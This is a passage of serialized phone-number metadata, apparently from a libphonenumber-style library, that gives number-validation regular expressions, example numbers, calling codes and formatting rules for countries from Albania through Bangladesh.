",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"264",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AL:[null,[null,null,"(?:(?:[2-58]|6\\d)\\d\\d|700)\\d{5}|(?:8\\d{2,3}|900)\\d{3}",null,null,null,null,null,null,[6,7,8,9],[5]],[null,null,"(?:[2358](?:[16-9]\\d[2-9]|[2-5][2-9]\\d)|4(?:[2-57-9][2-9]|6\\d)\\d)\\d{4}",null,null,null,"22345678",null,null,[8],[5,6,7]],[null,null,"6(?:[689][2-9]|7[2-6])\\d{6}",null,null,null,"662123456",null,null,[9]],[null,null,"800\\d{4}",null,null,null,"8001234",null,null,[7]],[null,null,"900[1-9]\\d\\d",null,null,null,"900123",null,null,[6]],[null,null,"808[1-9]\\d\\d",null,null,null,"808123",null,null,[6]],[null,null,"700[2-9]\\d{4}",null,null,null,"70021234",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],"AL",355,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{3,4})","$1 $2",["80|9"],"0$1"],[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["4[2-6]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[2358][2-5]|4"],"0$1"],[null,"(\\d{3})(\\d{5})","$1 $2",["[23578]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["6"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AM:[null,[null,null,"(?:[1-489]\\d|55|60|77)\\d{6}",null,null,null,null,null,null,[8],[5,6]],[null,null,"(?:(?:1[0-2]|47)\\d|2(?:2[2-46]|3[1-8]|4[2-69]|5[2-7]|6[1-9]|8[1-7])|3[12]2)\\d{5}",null,null,null,"10123456",null,null,null,[5,6]],[null,null,"(?:4[1349]|55|77|88|9[13-9])\\d{6}",null,null,null,"77123456"],[null,null,"800\\d{5}",null,null,null,"80012345"],[null,null,"90[016]\\d{5}",null,null,null,"90012345"],[null,null,"80[1-4]\\d{5}",null,null,null,"80112345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"60(?:2[78]|3[5-9]|4[02-9]|5[0-46-9]|[6-8]\\d|90)\\d{4}",null,null,null,"60271234"],"AM",374,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{6})","$1 $2",["1|47"],"(0$1)"],[null,"(\\d{3})(\\d{5})","$1 $2",["[23]"],"(0$1)"],[null,"(\\d{2})(\\d{6})","$1 $2",["[4-7]|88|9[13-9]"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["[89]"],"0 $1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AO:[null,[null,null,"[29]\\d{8}",null,null,null,null,null,null,[9]],[null,null,"2\\d(?:[0134][25-9]|[25-9]\\d)\\d{5}",null,null,null,"222123456"],[null,null,"9[1-49]\\d{7}",null,null,null,"923123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"AO",244,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[29]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AR:[null,[null,null,"(?:11|(?:[2368]|9\\d)\\d)\\d{8}",null,null,null,null,null,null,[10,11],[6,7,8]],[null,null,"11\\d{8}|(?:2(?:2(?:[013]\\d|2[13-79]|4[1-6]|5[2457]|6[124-8]|7[1-4]|8[13-6]|9[1267])|3(?:[07]\\d|1[467]|2[03-6]|3[13-8]|[49][2-6]|5[2-8]|6[013-9])|4(?:7[3-8]|9\\d)|6(?:[01346]\\d|2[24-6]|5[15-8])|80\\d|9(?:[012789]\\d|3[1-6]|4[02-9]|5[234]|6[2-46]))|3(?:3(?:2[79]|6\\d|8[2578])|4(?:0[0124-9]|[1-357]\\d|4[24-7]|6[02-9]|8[0-79]|9[1236-8])|5(?:[138]\\d|2[1245]|4[1-9]|6[2-4]|7[1-6])|6[24]\\d|7(?:[069]\\d|1[1568]|2[013-9]|3[145]|4[0-35-9]|5[14-8]|7[2-57]|8[0-24-9])|8(?:[01578]\\d|2[15-7]|3[0-24-9]|4[13-6]|6[1-357-9]|9[124]))|670\\d)\\d{6}",null,null,null,"1123456789",null,null,[10],[6,7,8]],[null,null,"675\\d{7}|9(?:11[2-9]\\d{7}|(?:2(?:2[013]|3[067]|49|6[01346]|80|9[147-9])|3(?:36|4[1-358]|5[138]|6[24]|7[069]|8[013578]))[2-9]\\d{6}|(?:2(?:2(?:02|2[13-79]|4[1-6]|5[2457]|6[124-8]|7[1-4]|8[13-6]|9[1267])|3(?:02|1[467]|2[03-6]|3[13-8]|[49][2-6]|5[2-8])|47[3-578]|6(?:2[24-6]|4[6-8]|5[15-8])|9(?:0[1-3]|2\\d|3[1-6]|4[02568]|5[2-4]|6[2-46]|72|8[23]))|3(?:3(?:2[79]|8[2578])|4(?:0[0-24-9]|4[24-7]|6[02-9]|7[126]|9[1-36-8])|5(?:2[1245]|3[237]|4[1-46-9]|6[2-4]|7[1-6]|8[2-5])|7(?:1[1568]|2[15]|3[145]|4[13]|5[14-8]|7[2-57]|8[126])|8(?:2[15-7]|3[2578]|4[13-6]|5[4-8]|6[1-357-9]|9[124])))[2-9]\\d{5})",null,null,null,"91123456789",null,null,null,[6,7,8]],[null,null,"800\\d{7}",null,null,null,"8001234567",null,null,[10]],[null,null,"60[04579]\\d{7}",null,null,null,"6001234567",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"AR",54,"00","0",null,null,"0?(?:(11|2(?:2(?:02?|[13]|2[13-79]|4[1-6]|5[2457]|6[124-8]|7[1-4]|8[13-6]|9[1267])|3(?:02?|1[467]|2[03-6]|3[13-8]|[49][2-6]|5[2-8]|[67])|4(?:7[3-578]|9)|6(?:[0136]|2[24-6]|4[6-8]?|5[15-8])|80|9(?:0[1-3]|[19]|2\\d|3[1-6]|4[02568]?|5[2-4]|6[2-46]|72?|8[23]?))|3(?:3(?:2[79]|6|8[2578])|4(?:0[0-24-9]|[12]|3[5-8]?|4[24-7]|5[4-68]?|6[02-9]|7[126]|8[2379]?|9[1-36-8])|5(?:1|2[1245]|3[237]?|4[1-46-9]|6[2-4]|7[1-6]|8[2-5]?)|6[24]|7(?:[069]|1[1568]|2[15]|3[145]|4[13]|5[14-8]|7[2-57]|8[126])|8(?:[01]|2[15-7]|3[2578]?|4[13-6]|5[4-8]?|6[1-357-9]|7[36-8]?|8[5-8]?|9[124])))?15)?","9$1",null,null,[[null,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["[68]"],"0$1"],[null,"(\\d{2})(\\d{4})","$1-$2",["[2-9]"],"$1"],[null,"(\\d{3})(\\d{4})","$1-$2",["[2-9]"],"$1"],[null,"(\\d{4})(\\d{4})","$1-$2",["[2-9]"],"$1"],[null,"(\\d)(\\d{2})(\\d{4})(\\d{4})","$2 15-$3-$4",["911"],"0$1"],[null,"(\\d)(\\d{3})(\\d{3})(\\d{4})","$2 15-$3-$4",["9(?:2[2-4689]|3[3-8])","9(?:2(?:2[013]|3[067]|49|6[01346]|8|9[147-9])|3(?:36|4[1-358]|5[138]|6|7[069]|8[013578]))","9(?:2(?:2(?:0[013-9]|[13])|3(?:0[013-9]|[67])|49|6(?:[0136]|4[0-59])|8|9(?:[19]|44|7[013-9]|8[14]))|3(?:36|4(?:[12]|3[4-6]|[58]4)|5(?:1|3[0-24-689]|8[46])|6|7[069]|8(?:[01]|34|[578][45])))","9(?:2(?:2(?:0[013-9]|[13])|3(?:0[013-9]|[67])|49|6(?:[0136]|4[0-59])|8|9(?:[19]|44|7[013-9]|8[14]))|3(?:36|4(?:[12]|3(?:4|5[014]|6[1-39])|[58]4)|5(?:1|3[0-24-689]|8[46])|6|7[069]|8(?:[01]|34|[578][45])))"],"0$1"],[null,"(\\d)(\\d{4})(\\d{2})(\\d{4})","$2 15-$3-$4",["9[23]"],"0$1"],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2-$3",["11"],"0$1",null,1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2-$3",["2(?:2[013]|3[067]|49|6[01346]|8|9[147-9])|3(?:36|4[1-358]|5[138]|6|7[069]|8[013578])","2(?:2(?:0[013-9]|[13])|3(?:0[013-9]|[67])|49|6(?:[0136]|4[0-59])|8|9(?:[19]|44|7[013-9]|8[14]))|3(?:36|4(?:[12]|3[4-6]|[58]4)|5(?:1|3[0-24-689]|8[46])|6|7[069]|8(?:[01]|34|[578][45]))","2(?:2(?:0[013-9]|[13])|3(?:0[013-9]|[67])|49|6(?:[0136]|4[0-59])|8|9(?:[19]|44|7[013-9]|8[14]))|3(?:36|4(?:[12]|3(?:4|5[014]|6[1-39])|[58]4)|5(?:1|3[0-24-689]|8[46])|6|7[069]|8(?:[01]|34|[578][45]))"],"0$1",null,1],[null,"(\\d{4})(\\d{2})(\\d{4})","$1 $2-$3",["[23]"],"0$1",null,1],[null,"(\\d{3})","$1",["1[0-2]|911"],"$1"]],[[null,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["[68]"],"0$1"],[null,"(\\d)(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3-$4",["911"]],[null,"(\\d)(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3-$4",["9(?:2[2-4689]|3[3-8])","9(?:2(?:2[013]|3[067]|49|6[01346]|8|9[147-9])|3(?:36|4[1-358]|5[138]|6|7[069]|8[013578]))","9(?:2(?:2(?:0[013-9]|[13])|3(?:0[013-9]|[67])|49|6(?:[0136]|4[0-59])|8|9(?:[19]|44|7[013-9]|8[14]))|3(?:36|4(?:[12]|3[4-6]|[58]4)|5(?:1|3[0-24-689]|8[46])|6|7[069]|8(?:[01]|34|[578][45])))","9(?:2(?:2(?:0[013-9]|[13])|3(?:0[013-9]|[67])|49|6(?:[0136]|4[0-59])|8|9(?:[19]|44|7[013-9]|8[14]))|3(?:36|4(?:[12]|3(?:4|5[014]|6[1-39])|[58]4)|5(?:1|3[0-24-689]|8[46])|6|7[069]|8(?:[01]|34|[578][45])))"]],[null,"(\\d)(\\d{4})(\\d{2})(\\d{4})","$1 $2 $3-$4",["9[23]"]],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2-$3",["11"],"0$1",null,1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2-$3",["2(?:2[013]|3[067]|49|6[01346]|8|9[147-9])|3(?:36|4[1-358]|5[138]|6|7[069]|8[013578])","2(?:2(?:0[013-9]|[13])|3(?:0[013-9]|[67])|49|6(?:[0136]|4[0-59])|8|9(?:[19]|44|7[013-9]|8[14]))|3(?:36|4(?:[12]|3[4-6]|[58]4)|5(?:1|3[0-24-689]|8[46])|6|7[069]|8(?:[01]|34|[578][45]))","2(?:2(?:0[013-9]|[13])|3(?:0[013-9]|[67])|49|6(?:[0136]|4[0-59])|8|9(?:[19]|44|7[013-9]|8[14]))|3(?:36|4(?:[12]|3(?:4|5[014]|6[1-39])|[58]4)|5(?:1|3[0-24-689]|8[46])|6|7[069]|8(?:[01]|34|[578][45]))"],"0$1",null,1],[null,"(\\d{4})(\\d{2})(\\d{4})","$1 $2-$3",["[23]"],"0$1",null,1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"810\\d{7}",null,null,null,null,null,null,[10]],[null,null,"810\\d{7}",null,null,null,"8101234567",null,null,[10]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AS:[null,[null,null,"(?:[58]\\d\\d|684|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"6846(?:22|33|44|55|77|88|9[19])\\d{4}",null,null,null,"6846221234",null,null,null,[7]],[null,null,"684(?:2(?:5[2468]|72)|7(?:3[13]|70))\\d{4}",null,null,null,"6847331234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"AS",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"684",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AT:[null,[null,null,"[1-35-9]\\d{8,12}|4(?:[0-24-9]\\d{4,11}|3(?:(?:0\\d|5[02-9])\\d{3,9}|2\\d{4,5}|[3467]\\d{4}|8\\d{4,6}|9\\d{4,7}))|[1-35-8]\\d{7}|[1-35-7]\\d{6}|[135-7]\\d{5}|[15]\\d{4}|1\\d{3}",null,null,null,null,null,null,[4,5,6,7,8,9,10,11,12,13],[3]],[null,null,"(?:1(?:11|[2-9]\\d{2,10})|(?:2(?:1[467]|2[13-8]|5[2357]|6[1-46-8]|7[1-8]|8[124-7]|9[1458])|3(?:1[1-8]|3[23568]|4[5-7]|5[1378]|6[1-38]|8[3-68])|7(?:2[1-8]|3[25]|4[13478]|5[68]|6[16-8]|7[1-6]|9[45]))\\d{3,9}|4(?:(?:2[1-8]|35|7[1368]|8[2457])\\d{3,9}|63\\d{2,9})|5(?:12\\d{2,9}|(?:2[1-8]|3[357]|4[147]|5[12578]|6[37])\\d{3,9})|6(?:(?:13|2[1-47]|4[135-8]|5[468])\\d{3,9}|62\\d{2,9}))\\d|(?:316|732)\\d{3}",null,null,null,"1234567890",null,null,null,[3]],[null,null,"6(?:5[0-3579]|6[013-9]|[7-9]\\d)\\d{4,10}",null,null,null,"664123456",null,null,[7,8,9,10,11,12,13]],[null,null,"800\\d{6,10}",null,null,null,"800123456",null,null,[9,10,11,12,13]],[null,null,"9(?:0[01]|3[019])\\d{6,10}",null,null,null,"900123456",null,null,[9,10,11,12,13]],[null,null,"8(?:10|2[018])\\d{6,10}|828\\d{5}",null,null,null,"810123456",null,null,[8,9,10,11,12,13]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:0[1-9]|17|[79]\\d)\\d{2,10}|7[28]0\\d{6,10}",null,null,null,"780123456",null,null,[5,6,7,8,9,10,11,12,13]],"AT",43,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3,12})","$1 $2",["1(?:11|[2-9])"],"0$1"],[null,"(\\d{3})(\\d{2})","$1 $2",["517"],"0$1"],[null,"(\\d{2})(\\d{3,5})","$1 $2",["5[079]"],"0$1"],[null,"(\\d{3})(\\d{3,10})","$1 $2",["(?:31|4)6|51|6(?:5[0-3579]|[6-9])|7(?:20|32|8)|[89]"],"0$1"],[null,"(\\d{4})(\\d{3,9})","$1 $2",["[2-467]|5[2-6]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["5"],"0$1"],[null,"(\\d{2})(\\d{4})(\\d{4,7})","$1 $2 $3",["5"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AU:[null,[null,null,"1\\d{4,9}|(?:[2-478]\\d\\d|550)\\d{6}",null,null,null,null,null,null,[5,6,7,8,9,10]],[null,null,"(?:[237]\\d{5}|8(?:51(?:0(?:0[03-9]|[1247]\\d|3[2-9]|5[0-8]|6[1-9]|8[0-6])|1(?:1[69]|[23]\\d|4[0-4]))|(?:[6-8]\\d{3}|9(?:[02-9]\\d\\d|1(?:[0-57-9]\\d|6[0135-9])))\\d))\\d{3}",null,null,null,"212345678",null,null,[9],[8]],[null,null,"4(?:[0-3]\\d|4[047-9]|5[0-25-9]|6[6-9]|7[02-9]|8[0-2457-9]|9[017-9])\\d{6}",null,null,null,"412345678",null,null,[9]],[null,null,"180(?:0\\d{3}|2)\\d{3}",null,null,null,"1800123456",null,null,[7,10]],[null,null,"190[0-26]\\d{6}",null,null,null,"1900123456",null,null,[10]],[null,null,"13(?:00\\d{3}|45[0-4])\\d{3}|13\\d{4}",null,null,null,"1300123456",null,null,[6,8,10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:14(?:5\\d|71)|550\\d)\\d{5}",null,null,null,"550123456",null,null,[9]],"AU",61,"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011","0",null,null,"0",null,"0011",null,[[null,"(\\d{3})(\\d{3})","$1 $2",["19"]],[null,"(\\d{4})(\\d{3,4})","$1 $2",["19"]],[null,"(\\d{2})(\\d{3,4})","$1 $2",["16"],"0$1"],[null,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["13"]],[null,"(\\d{3})(\\d{4})","$1 $2",["180","1802"]],[null,"(\\d{2})(\\d{3})(\\d{2,4})","$1 $2 $3",["16"],"0$1"],[null,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["[2378]"],"(0$1)"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["14|[45]"],"0$1"],[null,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1(?:30|[89])"]]],[[null,"(\\d{2})(\\d{3,4})","$1 $2",["16"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{2,4})","$1 $2 $3",["16"],"0$1"],[null,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["[2378]"],"(0$1)"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["14|[45]"],"0$1"],[null,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1(?:30|[89])"]]],[null,null,"16\\d{3,7}",null,null,null,"1612345",null,null,[5,6,7,8,9]],1,null,[null,null,"1[38]00\\d{6}|1(?:345[0-4]|802)\\d{3}|13\\d{4}",null,null,null,null,null,null,[6,7,8,10]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AW:[null,[null,null,"(?:[25-79]\\d\\d|800)\\d{4}",null,null,null,null,null,null,[7]],[null,null,"5(?:2\\d|8[1-9])\\d{4}",null,null,null,"5212345"],[null,null,"(?:290|5[69]\\d|6(?:[03]0|22|4[0-2]|[69]\\d)|7(?:[34]\\d|7[07])|9(?:6[45]|9[4-8]))\\d{4}",null,null,null,"5601234"],[null,null,"800\\d{4}",null,null,null,"8001234"],[null,null,"900\\d{4}",null,null,null,"9001234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:28\\d|501)\\d{4}",null,null,null,"5011234"],"AW",297,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[25-9]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AX:[null,[null,null,"(?:(?:[1247]\\d|3[0-46-9]|[56]0)\\d\\d|800)\\d{4,6}|(?:[1-47]\\d|50)\\d{4,5}|2\\d{4}",null,null,null,null,null,null,[5,6,7,8,9,10]],[null,null,"18[1-8]\\d{3,6}",null,null,null,"181234567",null,null,[6,7,8,9]],[null,null,"(?:4[0-8]|50)\\d{4,8}",null,null,null,"412345678",null,null,[6,7,8,9,10]],[null,null,"800\\d{4,6}",null,null,null,"800123456",null,null,[7,8,9]],[null,null,"[67]00\\d{5,6}",null,null,null,"600123456",null,null,[8,9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"AX",358,"00|99(?:[01469]|5(?:[14]1|3[23]|5[59]|77|88|9[09]))","0",null,null,"0",null,"00",null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"18",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:10|[23][09])\\d{4,8}|60(?:[12]\\d{5,6}|6\\d{7})|7(?:(?:1|3\\d)\\d{7}|5[03-9]\\d{3,7})|20[2-59]\\d\\d",null,null,null,"10112345"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],AZ:[null,[null,null,"(?:(?:(?:[12457]\\d|60|88)\\d|365)\\d{3}|900200)\\d{3}",null,null,null,null,null,null,[9],[7]],[null,null,"(?:(?:1[28]\\d|2(?:[045]2|1[24]|2[2-4]|33|6[23]))\\d\\d|365(?:[0-46-9]\\d|5[0-35-9]))\\d{4}",null,null,null,"123123456",null,null,null,[7]],[null,null,"(?:36554|(?:4[04]|5[015]|60|7[07])\\d{3})\\d{4}",null,null,null,"401234567"],[null,null,"88\\d{7}",null,null,null,"881234567"],[null,null,"900200\\d{3}",null,null,null,"900200123"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"AZ",994,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3"],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[12]|365","[12]|365","[12]|365(?:[0-46-9]|5[0-35-9])"],"(0$1)"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["9"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[3-8]"],"0$1"]],[[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[12]|365","[12]|365","[12]|365(?:[0-46-9]|5[0-35-9])"],"(0$1)"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["9"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[3-8]"],"0$1"]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],
BA:[null,[null,null,"(?:[3589]\\d|49|6\\d\\d?|70)\\d{6}",null,null,null,null,null,null,[8,9],[6]],[null,null,"(?:3(?:[05-79][2-9]|1[4579]|[23][24-9]|4[2-4689]|8[2457-9])|49[2-579]|5(?:0[2-49]|[13][2-9]|[268][2-4679]|4[4689]|5[2-79]|7[2-69]|9[2-4689]))\\d{5}",null,null,null,"30212345",null,null,[8],[6]],[null,null,"6(?:0(?:3\\d|40)|[1-356]\\d|44[0-6]|71[137])\\d{5}",null,null,null,"61123456"],[null,null,"8[08]\\d{6}",null,null,null,"80123456",null,null,[8]],[null,null,"9[0246]\\d{6}",null,null,null,"90123456",null,null,[8]],[null,null,"8[12]\\d{6}",null,null,null,"82123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BA",387,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{3})","$1-$2",["[2-9]"]],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2-$3",["[3-5]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["6[1-356]|[7-9]"],"0$1"],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3 $4",["6"],"0$1"]],[[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2-$3",["[3-5]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["6[1-356]|[7-9]"],"0$1"],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3 $4",["6"],"0$1"]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"70(?:3[0146]|[56]0)\\d{4}",null,null,null,"70341234",null,null,[8]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BB:[null,[null,null,"(?:246|[58]\\d\\d|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"246(?:2(?:2[78]|7[0-4])|4(?:1[024-6]|2\\d|3[2-9])|5(?:20|[34]\\d|54|7[1-3])|6(?:2\\d|38)|7[35]7|9(?:1[89]|63))\\d{4}",null,null,null,"2464123456",null,null,null,[7]],[null,null,"246(?:2(?:[356]\\d|4[0-57-9]|8[0-79])|45\\d|69[5-7]|8(?:[2-5]\\d|83))\\d{4}",null,null,null,"2462501234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"(?:246976|900[2-9]\\d\\d)\\d{4}",null,null,null,"9002123456",null,null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,"24631\\d{5}",null,null,null,"2463101234",null,null,null,[7]],"BB",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"246",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"246(?:292|367|4(?:1[7-9]|3[01]|44|67)|7(?:36|53))\\d{4}",null,null,null,"2464301234",null,null,null,[7]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BD:[null,[null,null,"[13469]\\d{9}|8[0-79]\\d{7,8}|[2-7]\\d{8}|[2-9]\\d{7}|[3-689]\\d{6}|[57-9]\\d{5}",null,null,null,null,null,null,[6,7,8,9,10]],[null,null,"(?:(?:2(?:[45]\\d{3}|7(?:1[0-267]|2[0-289]|3[0-29]|4[01]|5[1-3]|6[013]|7[0178]|91)|8(?:0[125]|[13][1-6]|2[0157-9]|41|6[1-35]|7[1-5]|8[1-8]|9[0-6])|9(?:0[0-2]|1[0-4]|2[568]|3[3-6]|5[5-7]|6[01367]|7[15]|8[0146-9]))|7(?:02|21\\d|[3-589]1|6[12]|72[24])\\d|8(?:(?:[01]|217|3[12])\\d|4[12]|[5-7](?:1\\d|2)))\\d|3(?:(?:0(?:2[348]\\d|3[2-6])|(?:1(?:2[5-7]|[5-7])|3(?:1|24)|[5-7]1)\\d)\\d|2(?:1\\d\\d|2(?:[35]\\d\\d|4))|4(?:1\\d\\d|2(?:[25]\\d\\d|[47]))|8(?:1\\d\\d|2(?:(?:2\\d|4)\\d|3)))|4(?:0(?:2(?:[09]\\d|7)|33\\d\\d)|(?:1\\d|4(?:2[2-46]|5[25])|8(?:23|54))\\d\\d|2(?:1\\d\\d|2(?:[25]|[67]\\d\\d))|3(?:1\\d\\d(?:\\d{2})?|(?:2[236-9]|32)\\d\\d)|525|6(?:(?:[18]|2[3-6]|62)\\d\\d|5(?:[38]|[5-7]\\d\\d))|9(?:(?:[18]|2[2-5])\\d\\d|53\\d\\d?))|5(?:(?:02[03489]|1|22[2457]|32[35-79]|42[46]|[58]26|724)\\d\\d|6(?:(?:[18]|53)\\d\\d|2))|6(?:(?:(?:[04]2[34]|32[3478]|52[47]|[78]2[2-5]|92[2-6])\\d|6(?:[18]\\d|6(?:2(?:2|[34]\\d)|5[245]\\d)))\\d|2(?:(?:2[2-5]|8)\\d\\d|5(?:[3-5]\\d\\d|7)))|9(?:[24]1\\d\\d|[35]1))\\d{3}|(?:3(?:0(?:2[02-9]\\d|3[56])|(?:22[1-5]|32[2-6]|422)\\d|529)|(?:4(?:22[2-8]|32[02-9]|(?:[48][18]|71)\\d|5(?:1\\d|23)|6(?:2[467]|5[3-57]))|5(?:[2-47-9]1\\d|5(?:1\\d|26))|6(?:0(?:1\\d|24)|[3-589]1\\d|665[35])|81|9(?:[024]2|1\\d|81))\\d|732)\\d{3}|(?:4[46]23|5(?:222|32[37]))\\d{3}",null,null,null,"27111234"],[null,null,"(?:1[13-9]\\d|(?:3[78]|44)[02-9]|6(?:44|6[02-9]))\\d{7}",null,null,null,"1812345678",null,null,[10]],[null,null,"80[03]\\d{7}",null,null,null,"8001234567",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"96(?:0[469]|1[0-47]|3[389]|6[69]|7[78])\\d{6}",null,null,null,"9604123456",null,null,[10]],"BD",880,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{4,6})","$1-$2",["31[5-7]|[459]1"],"0$1"],[null,"(\\d{3})(\\d{3,7})","$1-$2",["3(?:[2-5]1|[67]|8[013-9])|4(?:[235]1|4[01346-9]|6[168]|7|[89][18])|5(?:[2-578]1|6[128]|9)|6(?:[0389]1|28|4[14]|5|6[01346-9])|7(?:[2-589]|61)|8(?:0[014-9]|[12]|[3-7]1)|9(?:[24]1|[358])"],"0$1"],[null,"(\\d{4})(\\d{3,6})","$1-$2",["[13-9]"],"0$1"],[null,"(\\d)(\\d{7,8})","$1-$2",["2"],"0$1"]